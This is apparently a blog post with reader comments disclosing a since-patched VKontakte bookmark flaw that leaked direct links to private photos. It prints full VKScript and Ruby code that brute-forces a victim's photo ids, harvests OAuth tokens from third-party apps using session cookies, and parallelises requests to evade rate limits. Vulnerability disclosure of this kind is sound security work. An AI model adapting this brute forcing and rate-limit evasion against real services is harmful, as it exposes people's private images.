tl;dr
Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут — все фото, загруженные на прошлой неделе, за 20 минут — прошлый месяц, за 2 часа — прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:



При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео — это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:



Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX, которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК


Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число). Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом:



Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии


Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя.

Ускоряем перебор x25


Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute. В одном вызове этого метода возможно 25 обращений к методам API.

var start = parseInt(Args.start);
var end = parseInt(Args.end);
var victimId = Args.id;
var link = "http://vk.com/photo" + victimId + "_";
while(start != end) {
  API.fave.addLink({ "link": link + start });
  start = start + 1;
};

Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду


Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

class StandaloneAppsFinder
  attr_reader :app_ids

  def initialize(params)
    @range = params[:in_range]
    @app_ids = []
  end

  def search
    (@range).each do |app_id|
      response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read
      app = JSON.parse(response)['response']
      app_ids << app_id if standalone?(app)
    end
  end

  private

  def standalone?(app_data)
    app_data['type'] == 'standalone'
  end
end

Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:
Если приложение установило меньше 10 000 человек, то можно совершать 5 запросов в секунду, до 100 000 – 8 запросов, до 1 000 000 – 20 запросов, больше 1 млн. – 35 запросов в секунду.
[Ограничения и рекомендации]

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

class Authenticator
  attr_reader :access_tokens

  def initialize(cookie_header)
    @cookies = { 'Cookie' => cookie_header }
    @access_tokens = []
  end

  def authorize_apps(apps)
    apps.each do |app_id|
      auth_url = extract_auth_url_from(oauth_page(app_id))
      redirect_url = open(auth_url, @cookies).base_uri.to_s
      access_tokens << extract_token_from(redirect_url)
    end
  end

  private

  def extract_auth_url_from(oauth_page_html)
    Nokogiri::HTML(oauth_page_html).css('form').attr('action').value
  end

  def extract_token_from(url)
    URI(url).fragment[13..97]
  end

  def oauth_page(app_id)
    open(oauth_page_url(app_id), @cookies).read
  end

  def oauth_page_url(app_id)
    "https://oauth.vk.com/authorize?" +
    "client_id=#{app_id}&" +
    "response_type=token&" +
    "display=mobile&" +
    "scope=474367"
  end
end

Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus, который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

class PhotosBruteforcer
  PHOTOS_ID_BY_PERIOD = {
    'today' => 366300000..366500000,
    'yesterday' => 366050000..366300000,
    'current_month' => 365000000..366500000,
    'last_month' => 360000000..365000000,
    'current_year' => 350000000..366500000,
    'last_year' => 320000000..350000000
  }

  def initialize(params)
    @victim_id = params[:victim_id]
    @period = PHOTOS_ID_BY_PERIOD[params[:period]]
  end

  def run(tokens)
    hydra = Typhoeus::Hydra.new
    tokensIterator = 0

    (@period).step(25) do |photo_id|
      url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}"
      encoded_url = URI.escape(url).gsub('+', '%2B').delete("\n")

      tokensIterator = tokensIterator == tokens.count - 1 ? 0 : tokensIterator + 1

      hydra.queue Typhoeus::Request.new encoded_url
      hydra.run if tokensIterator.zero?
    end

    hydra.run unless hydra.queued_requests.count.zero?
  end

  private

  def vkscript(photo_id)
    <<-VKScript
    var start = #{photo_id};
    var end = #{photo_id + 25};
    var link = "http://vk.com/photo#{@victim_id}" + "_";
    while(start != end) {
      API.fave.addLink({ "link": link + start });
      start = start + 1;
    };
    return start;
    VKScript
  end
end

Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented.

Окончательная версия скрипта выглядит так:

require 'nokogiri'
require 'open-uri'
require 'typhoeus'
require 'json'

require './standalone_apps_finder'
require './photos_bruteforcer'
require './authenticator'

bruteforcer = PhotosBruteforcer.new(victim_id: ARGV[0], period: ARGV[1])

apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500)
apps_finder.search

# p,l - cookies from login.vk.com
# remixsid - cookie from vk.com
authenticator = Authenticator.new(
  'p=;' +
  'l=;' +
  'remixsid=;'
)
authenticator.authorize_apps(apps_finder.app_ids)

bruteforcer.run(authenticator.access_tokens)

После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.



Итоги


В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

Период Время (минуты)
Вчера 0.84
Прошлая неделя 6.9
Прошлый месяц 18.3
Прошлый год 121.1
3 последних года 312.5

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости


Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо Bo0oM, который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к голосов.



Целенаправленно исследованием ВК я никогда не занимался, но после такого, почти случайного обнаружения этой уязвимости серьезно начал задумываться о том, чтобы потратить несколько часиков на полноценный аудит этой социальной сети. У «ВКонтакте» нет официальной баг баунти программы, поэтому whitehat ресерчеры обходят этот сайт стороной, а другие, менее «белые» хакеры, просто тихо пользуются ошибками в своих целях, либо продают их. Так что, думаю, ещё парочку подобных уязвимостей в ВК можно найти.

Всем добра!

Комментарии (57)


  1. denis_g
    14.05.2015 15:16
    +96

    Администрация ВКонтакте выплатила вознаграждение в 10к голосов.
    Лучше бы бусами расплатились…


    1. brainfucker
      14.05.2015 21:40
      +7

      Нашедшему уязвимость была предоставлена возможность вывести голоса, например получив деньги на банковскую карту.


      1. AlexeyK
        14.05.2015 22:27
        +1

        Почему не дали деньги сразу? Он за них купил бы голоса, если бы захотел.


        1. DIHALT
          15.05.2015 05:33
          +7

          Думаю это технически проще и быстрей. Т.е. техникам проще начислить голоса, чтобы человек их обналичил по готовой процедуре, чем прогонять это вознаграждение через свою бухгалтерию, а там бюрократия поди огого какая. Не из своего же кармана они отстегивают.


  1. Bytamine
    14.05.2015 15:16
    +4

    Что можно купить на 10к голосов?


    1. yjurfdw
      14.05.2015 15:26
      +11

      Стикеры, подарки… Даже рекламу нельзя ими оплатить.


      1. UksusoFF
        14.05.2015 15:27
        +7

        Их же вроде вывести можно?

        Выплата 1 голоса – 3.54 рубля с НДС

        vk.com/dev/partnership


        1. Aiditz
          14.05.2015 23:14
          +1

          Можно, только если вы разработчик приложений.

          Чтобы стать таковым, нужно быть автором хотя бы одного приложения, прошедшего модерацию.


          1. kamil_hism Автор
            14.05.2015 23:19
            +6

            Угу. С этим мне помогли ребята из администрации ВКонтакте. На время одобрили одно приложение, через которое я и вывел все полученные голоса.


            1. RxB
              14.05.2015 23:58
              +2

              а почему не кешем, а голосами?


              1. DIHALT
                15.05.2015 05:35
                +6

                Это же через бухгалтерию все придется проводить, подряд или договор или черт знает что еще.


        1. Chamie
          15.05.2015 10:54
          +1

          Т.е., не 70000 рублей, а всего лишь 35400 рублей.


      1. ascending
        14.05.2015 15:28
        +27

        Веселая ферма! Тюряга!


    1. Grammidin
      14.05.2015 15:27
      +3

      Открытки всякие и прочую дребедень :)

      А вообще да, пожадничали. Гораздо выгодней было бы найти уязвимость в Telegram.


    1. wayf1nder
      14.05.2015 16:35
      +1

      В Селектеле можно оплачивать услуги.


    1. 6a6ypek
      15.05.2015 14:19

      Чашку кофе, рюмку сухого вина, бутылку лимонада. Только тебя это не касается, вы с Копытиным здесь останетесь


  1. VokaMut
    14.05.2015 15:23
    +16

    10к голосов.

    Это как-то не честно, понимаю, что их потом можно продать(а можно ли?) за реальные деньги, но всё же.
    Не спорю, что проще в базе циферку поменять, чем делать денежные операции.
    Но лично мне стало бы обидно.


    1. zenn
      14.05.2015 15:29
      +10

      Да, можно вывести через партнеров, это чистыми выйдет около 30к рубликов:

      Выплата 1 голоса – 3.54 рубля с НДС
      Ввод 1 голоса – 6.4 рубля

      Парадокс, но даже тут владельцы вк удержат 45% от «премии» :)


      1. VokaMut
        14.05.2015 15:36
        +4

        Тогда выгоднее искать группы/людей/сообщества где купят хотя бы по цене 70-80% от официальной цены покупки.


        1. Aiditz
          14.05.2015 23:15

          Как предлагаете осуществлять сделку?


          1. VokaMut
            14.05.2015 23:25

            Если есть возможность передавать голоса, то я ему голоса, он мне на эл. кошелек монетки


            1. Aiditz
              15.05.2015 14:59
              +1

              Ограничение при передаче — не более 100 голосов, кажется, в сутки.

              За год рассчитаетесь :)

              Кроме того, если вас уличат в продаже на черном рынке, то забанят и вас, и ваших партнеров со всеми приложениями и группами.


          1. Beltoev
            15.05.2015 09:22

            В WebMoney с помощью кода протекции вполне безопасно можно провернуть


  1. KarasikovSergey
    14.05.2015 15:33
    +20

    Администрация ВКонтакте выплатила вознаграждение в 10к голосов.


    Экономно!


  1. Bo0oM
    14.05.2015 16:37
    +9

    Ребят, ну нет программы вознаграждения vk.com. Не будут же разработчики свои зарплаты раздавать :)

    Мне тут птичка нашептала, что скоро будет полноценная программа bugbounty, тогда уже можно ругаться на малые выплаты.


    1. Temirkhan
      14.05.2015 17:18
      +20

      А до той поры прибережем дыры?))


      1. Chikey
        14.05.2015 21:36

        Очевидно что да)


    1. x22a
      15.05.2015 00:05
      +2

      и видимо зря нет. если подумать, поощрять деньгами добропорядочных пользователей это очень хорошая идея. иной призадумается «а стоит ли мне сообщать об уязвимости или же лучше использовать её в личных целях?», посмотрит на то что вконтакте расплачивается фантиками, да и не станет писать в саппорт



  1. noxwell
    14.05.2015 18:04
    -5

    Удивительное совпадение, недавно пару сайтов проверял по этой схеме — добавляем в закладки то, что не могли бы добавить при нормальных условиях. Уже третий сайт из известных, который подвержен раскрытию приватной информации через закладки (избранное). Видимо это самая непроверяемая, безобидная на первый взгляд функция. Знал бы, что во вконтакте есть закладки — давно бы нашел и эту багу :)


    1. DjOnline
      15.05.2015 15:10

      Где-то ещё есть закладки?


  1. PQR
    14.05.2015 18:08
    +12

    Ну а фотки знаменитостей где? Надо было хотя бы парочку для привлечения внимания выложить)


  1. and7ey
    14.05.2015 18:32
    +3

    Поясните, пожалуйста, подробнее, как вы от имени чужих приложений запросы делали?
    Даже если разработчик определенного приложения не запросил нужные вам права, то вы все равно можете делать нужные вам запросы?
    Это тоже было исправлено?


    1. kamil_hism Автор
      14.05.2015 19:22
      +2

      Это обычное поведение. Не разработчик приложения запрашивает права, а я сам:

      https://oauth.vk.com/authorize?client_id=#{app_id}&response_type=token&display=mobile&scope=474367

      Таким образом авторизую самого себя в этом приложении и получаю токен.

      Если вы про scope, то он в настройках приложений не захардкожен и легко меняется на клиенте на любой желаемый.


      1. ReklatsMasters
        14.05.2015 19:48

        В настройках приложения есть же адрес сервера, с которого принимаются запросы. Или он не для этого?


        1. kamil_hism Автор
          14.05.2015 21:02
          +1

          Адрес сайта в настройках нужен только для IFrame приложений и для приложений, которые используют клиентскую авторизацию Open API.


  1. pravic
    14.05.2015 19:45
    +11

    Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

    Как забавно читать, когда администрация какого-либо проекта расплачивается «фантиками», которые ей самой ничего не стоят.


  1. Security_Lab
    14.05.2015 20:22
    -5

    Сливай все в Тюрягу!!!


    1. Chikey
      14.05.2015 22:03

      del


    1. Security_Lab
      14.05.2015 22:46
      +2

      del

      хоть так отблагодарили
      все показано круто.

      и на этом им нужно сказать спасибо и Автору за то что все так хорошо расписал!


  1. Chikey
    14.05.2015 22:03
    +7

    Сам баг простой и вк должно быть стыдно, как всегда. Но реализация крутая, использование execute 25 запросов и идея использования токенов от лица трастовых приложений тоже хорошая!


  1. TheVS
    14.05.2015 22:22
    +3

    А при Дурове дали бы нормальных денег… может быть.


    1. BeLove
      17.05.2015 20:11
      +1

      Не давали)


  1. Jabher
    15.05.2015 00:43

    Ого. Огромная просьба — а можете выложить скрипт для запросов к ВК?
    Перевожу одну систему с JS на Ruby, ой как не хочется переписывать многопоточную молотилку запросов с execute.


  1. izac
    15.05.2015 01:45
    +5

    Ешё 1000 подарков бы подарили…


  1. Neuronix
    15.05.2015 10:37

    Ну, блин, спасибо…


  1. Delsian
    15.05.2015 11:43
    +1

    А где примеры фоток? /me разочарован


  1. chlp
    15.05.2015 13:36
    +2

    Прошел бы мимо, но не увидел комментария примерно следующего содержания: «Люк постарался, молодец!»


  1. bulbazaur
    15.05.2015 14:54
    +7


  1. mickvav
    15.05.2015 21:45

    Вот интересно — как закрыли? Таки начали проверять права при доступе или просто усложнили процедуру подбора URL?


    1. Bo0oM
      15.05.2015 22:36

      Проверяют права доступа


  1. steamoor
    20.05.2015 06:05
    +1

    Что интересно, никто не признался, что видел эту новость на порно подлепре давным давно :)
    porno.leprosorium.ru/comments/1692750
    датированную 19 Марта прошлого года…
    дословно:
    Спешу поделиться с вами ресурсом http://hypercube1.ru/pho1/ (автор, увы, не я)

    Сайт парсит группы ВК, в том числе и закрытые и выдаёт фотографии, которые отправлял в них пользователь (даже анонимно)

    Что делать: ввести id страницы в VK
    Результат: узнать, публиковал ли фото какой–то конкретный человек, или посмотреть снимки среди всех друзей определённого пользователя
    Настоящий результат: высокое содержание СИСЕК, возможность поставить подругу в неловкое положение


    1. Bo0oM
      20.05.2015 10:49

      image

      А ресурсов подобных много. Spalili, skotobaza, и прочие.


      1. steamoor
        20.05.2015 16:37
        +1

        Ну да, я к тому же, ресурсов было много и давно.
        VK не мог об этом не знать. Если бы не «надоедливый юзер» (автор данной статьи) то они бы и не почесались…


    1. Psychopompe
      23.05.2015 20:41

      Разве одно и то же?
      Вроде как тогда писали в саппорт, ВК сказал, что это не баг, а фича.


  1. tsimox
    22.05.2015 12:36

    Хочу обсудить по поводу частоты запросов.
    «Со стороны клиента можно обращаться к методам API не чаще 3 раз в секунду.» (из доки ВК)
    Т.е. твой скрипт с токеном может делать всегда только 3 запроса в сек, и это можно только распараллелить, но не ускорить. Причем не важно токен какого приложения (насколько популярного).

    А истории про 35 в секунду — это серверные терки, в описанном случае невозмножно было использовать, я прав?


    1. Aiditz
      22.05.2015 12:55
      +1

      Можно ускорить, если посылать запросы от имени нескольких пользователей или приложений, т.к. ограничение в 3 запроса относится к одному клиенту одного приложения.

      А чтобы использовать силу 35 запросов, вам нужно иметь приложение с количеством участников, превышающих миллион (подробности в доках vk.com/dev/api_requests)